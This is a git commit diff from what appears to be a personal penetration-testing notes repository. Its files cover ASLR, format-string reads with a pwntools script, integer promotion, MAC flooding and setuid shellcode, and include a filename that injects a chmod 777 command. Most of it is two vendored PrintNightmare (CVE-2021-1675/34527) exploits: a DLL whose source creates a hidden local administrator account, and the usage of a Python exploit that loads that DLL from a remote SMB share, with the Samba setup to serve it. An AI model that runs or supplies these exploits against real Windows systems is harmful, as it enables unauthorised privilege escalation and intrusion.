ettercap and binaries

This commit is contained in:
Stefan Friese 2022-05-05 09:31:18 +02:00
parent e597409caf
commit d984780d59
28 changed files with 2409 additions and 27 deletions

15
exploit/binaries/aslr.md Normal file
View File

@ -0,0 +1,15 @@
# ASLR
## System Status
* `0`, No randomization
* `1`, Conservative, `*.so`, stack, `mmap`, VDSO and heap
* `2`, full randomization
## Disable
```sh
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

View File

@ -1,6 +1,7 @@
etuid(0) + execve(/bin/sh) - just 4 fun.
xi4oyu [at] 80sec.com
//setuid(0) + execve(/bin/sh) - just 4 fun.
//xi4oyu [at] 80sec.com
/*
main(){
__asm( "xorq %rdi,%rdi\n\t"
"mov $0x69,%al\n\t"
@ -33,5 +34,5 @@ main() {
(*(void (*)()) shellcode)();
}
2009-05-14
evil.xi4oyu
//2009-05-14
//evil.xi4oyu

View File

@ -0,0 +1,29 @@
# Format String
* Read and write values from stack
## Read
* Input `%x` for every value that should be read from the stack
```sh
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
```
* Select values as string, e.g. the second value
```sh
%2$s
```
* Another way of reading is via `%p`
* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one
```python
from pwn import *
#p = process('./vuln')
p = remote(target_ip, 9006)
payload = b'%14$p||||'
payload += p32(0x8048000)
p.sendline(payload)
log.info(p.clean())
```

View File

@ -0,0 +1,42 @@
# Integral Promotion
* Conditions of data types with different max and min values provoke unforseen comparisions
* Comparing `int` and `uint` with values above max leads to integral promotion
* Check data type min and max
```c
#include <stdio.h>
#include <limits.h>
int main(void)
{
printf("CHAR_MAX: %i\n", CHAR_MAX);
printf("UCHAR_MAX: %i\n", UCHAR_MAX);
printf("SHORT_MAX: %i\n", SHRT_MAX);
printf("USHORT_MAX: %i\n", USHRT_MAX);
printf("INT_MAX: %i\n", INT_MAX);
printf("UINT_MAX: %u\n", UINT_MAX);
return 0;
}
```
* Not only conditions are susceptable to integral promotions, a sum - for example - is too. Values for promotion in this example are `2147483647` and `1`. `c` is negative and leads to the shell
```c
int a,b,c;
if(a >=0 && b >=0)
if(c >= 0){
printf("\n[*] ADDING %d + %d",a,b);
printf("\n[*] RESULT: %d\n",c);
}
else{
system("/bin/sh");
}
else
printf("nope");
```

View File

@ -19,6 +19,11 @@
## libc -- Finding Offsets
* Find libc address at runtime via gbd
```sh
info sharedlibrary
```
### Manually
* On target find `sh` address inside libc
```sh

View File

@ -0,0 +1,9 @@
# MAC Spoofing
```sh
macof -i <interface>
```
or
```sh
ettercap -T -i <interface> -P rand_flood -q -w file.pcap
```

View File

@ -17,3 +17,10 @@ touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
```
## touched Filename Options
* Give full permissions on all the files
```sh
touch './"";$(chmod 777 *)'
```

@ -1 +0,0 @@
Subproject commit ed724e576adb377b9c5b91f4343012108307fff9

@ -1 +0,0 @@
Subproject commit 5ca891c64d7dcd785730c8e6dec87476b786012c

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,40 @@
# CVE-2021-1675 - PrintNightmare LPE (PowerShell)
> Caleb Stewart | John Hammond | July 1, 2021
----------------------------------------------------------
[CVE-2021-1675](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675) is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."
Proof-of-concept exploits have been released ([Python](https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py), [C++](https://github.com/afwu/PrintNightmare/blob/main/EXP/POC/POC.cpp)) for the remote code execution capability, and a [C# rendition](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.
This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.
![image](https://user-images.githubusercontent.com/6288722/124203761-70b36580-daab-11eb-8520-7d93743062af.png)
This has been tested on Windows Server 2016 and Windows Server 2019.
## Usage
Add a new user to the local administrators group by default:
```shell
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
```
Supply a custom DLL payload, to do anything else you might like.
```shell
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```
## Details
* The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler.
* This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group.
* This script embeds methods from PowerSploit/[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) to reflectively access the Win32 APIs.
* This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path.

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31402.337
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nightmare", "nightmare\nightmare.vcxproj", "{BBFBAF1D-A01E-4615-A208-786147320C20}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.ActiveCfg = Debug|x64
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.Build.0 = Debug|x64
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.ActiveCfg = Debug|Win32
{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.Build.0 = Debug|Win32
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.ActiveCfg = Release|x64
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.Build.0 = Release|x64
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.ActiveCfg = Release|Win32
{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {30C87B43-BD46-4499-B9D4-11823A3D67C8}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,32 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
#include <lm.h>
#include <iostream>
#include <fstream>
#pragma comment(lib, "netapi32.lib")
wchar_t username[256] = L"adm1n";
wchar_t password[256] = L"P@ssw0rd";
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
// Create the user
USER_INFO_1 user;
memset(&user, 0, sizeof(USER_INFO_1));
user.usri1_name = username;
user.usri1_password = password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
// Add the user to the administrators group
LOCALGROUP_MEMBERS_INFO_3 members;
members.lgrmi3_domainandname = username;
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1);
}

View File

@ -0,0 +1,5 @@
#pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>

View File

@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{bbfbaf1d-a01e-4615-a208-786147320c20}</ProjectGuid>
<RootNamespace>nightmare</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="framework.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="pch.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="pch.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@ -0,0 +1,5 @@
// pch.cpp: source file corresponding to the pre-compiled header
#include "pch.h"
// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.

View File

@ -0,0 +1,13 @@
// pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
// Do not add files here that you will be updating frequently as this negates the performance advantage.
#ifndef PCH_H
#define PCH_H
// add headers that you want to pre-compile here
#include "framework.h"
#endif //PCH_H

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 ly4k
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,260 @@
# PrintNightmare
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.
## Installtion
```bash
$ pip3 install impacket
```
## Usage
```
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL
modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
```
### Examples
#### Exploitation
##### Remote DLL
```bash
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:Passw0rd@172.16.19.128'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
```
##### Local DLL
```bash
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:Passw0rd@172.16.19.128'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
```
Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.
##### Custom name
```bash
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
```
#### Check if target is vulnerable
##### Unpatched Windows 10
```bash
$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
```
##### Patched Windows Server 2022
```bash
$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
```
#### List current printer drivers
```bash
$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
```
#### Delete printer driver
May require administrative privileges.
```bash
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
```
## Details
PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.
### CVE-2021-1675
A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver.
### CVE-2021-34527
When [adding a new printer driver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b), the `pDataFile` parameter in the [DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2) allows UNC paths. The DLL specified in `pDataFile` will however **not** be loaded, *but* it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`)
### Combining the pieces
Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.
For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.
When creating a new printer driver, the DLL in the `pDataFile` parameter will **not** be loaded for security reasons. However, it *will* be copied over to `C:\Windows\system32\spool\drivers\x64\3\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\Windows\system32\spool\drivers\x64\3\old\<I>\`, where `<I>` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\Windows\system32\spool\drivers\x64\3\old\<I>\`, since the DLL is no longer used. Now it's just a matter of guessing `<I>` which will start incrementing from `1`.
Note that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll`. Instead, simply change the filename if you change the contents of the DLL.
#### SMB and UNC
In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\10.0.0.2\files\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package.
To install `Samba` with `apt`:
```bash
$ sudo apt install samba
```
Edit the `/etc/samba/smb.conf` and add the following at the end of the file:
```
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
```
This will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files.
Then start the Samba service by doing:
```bash
$ sudo service smbd start
```
